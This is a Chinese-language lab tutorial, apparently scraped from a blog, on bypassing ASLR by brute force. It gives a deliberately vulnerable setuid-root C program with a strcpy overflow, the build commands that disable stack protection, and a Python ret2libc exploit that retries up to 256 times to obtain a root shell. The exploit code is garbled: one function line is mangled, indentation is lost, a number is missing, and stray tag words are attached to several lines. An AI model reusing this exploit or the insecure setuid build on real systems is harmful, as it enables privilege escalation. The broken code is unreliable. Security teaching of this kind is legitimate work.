实验7、绕过ASLR ---- 第二部分

7.1 实验环境python

VM 配置:Ubuntu 12.04 (x86) shell

7.2 实验原理dom

什么是爆破?spa

使用爆破技巧,来绕过共享库地址随机化。code

7.3 实验过程blog

7.3.1 漏洞代码string

//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
    char buf[256];
    strcpy(buf, argv[1]);
    printf("%s\n", buf);
    fflush(stdout);
    return 0;
}

7.3.2 编译程序it

ASLR 要为开启状态。io

#sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space"
gcc -g -fno-stack-protector -o vuln vuln.c
sudo chown root vuln
sudo chgrp root vuln
sudo chmod +s vuln

使用 ldd 命令能够看到在 ASLR 开启的状况下,每次 glibc 的基址是随机的:编译

可是,咱们能够发现其中的相同点,也就是说,libc 的随机化只能反映在 2 个十六进制位(即 8 个二进制位上),所以咱们能够经过最多 次尝试,命中它的真实地址,从而得到 root shell。

7.3.3 进行攻击

 攻击代码以下:

#exp.py 
#!/usr/bin/env python 
import struct 
from subprocess import call
libc_base_addr = 0xb7595000 
exit_off = 0x00032be0         
system_off = 0x0003f060                            
system_addr = libc_base_addr + system_off 
exit_addr = libc_base_addr    + exit_off 
system_arg = 0x804827d
def conv(num):    
return struct.pack ( "<I" , numystem + exit + system_arg 
buf = "A" * 268 
buf += conv(system_addr) 
buf += conv(exit_addr) 
buf += conv(system_arg)
print "Calling vulnerable program"  
i = 0 
while     ( i < 256 ) :    
print    "Number of tries : %d " % i    
i += 1    
ret = call ( [ "./vuln" , buf ] )    
if ( not ret ) :        
break    
else :        
print " Exploit failed "

执行结果:

共会产生255个输出,进行部分截取:

相关文章
相关标签/搜索